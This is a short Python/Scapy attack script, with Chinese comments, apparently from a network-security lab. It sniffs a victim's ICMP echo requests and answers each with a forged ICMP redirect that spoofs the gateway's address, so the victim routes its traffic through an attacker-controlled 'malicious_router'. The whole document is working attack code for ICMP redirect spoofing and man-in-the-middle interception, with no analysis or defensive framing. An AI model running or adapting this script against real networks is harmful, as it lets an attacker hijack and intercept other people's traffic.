#!/usr/bin/python3
from scapy.all import *
import socket

victim_ip = '10.9.0.5'
target_ip = '192.168.60.5'
gateway_ip = '10.9.0.11'
malicious_router = '10.9.0.111'

# 使用 IP 字符串，Scapy 应该能处理。如果不行，尝试 hex
def send_redirect(pkt):
    if ICMP in pkt and pkt[ICMP].type == 8:
        print(f"Redirecting {pkt[IP].src} -> {pkt[IP].dst} via {malicious_router}")
        ip = IP(src=gateway_ip, dst=victim_ip)
        icmp = ICMP(type=5, code=1)
        icmp.gw = malicious_router
        # 精简负载：原始 IP 头 + 8 字节原始数据
        load = bytes(pkt[IP])[:28] 
        redirect_pkt = ip/icmp/IP(load)
        send(redirect_pkt, iface='eth0', verbose=False)

sniff(iface='eth0', filter=f"icmp and src {victim_ip} and dst {target_ip}", prn=send_redirect, count=20)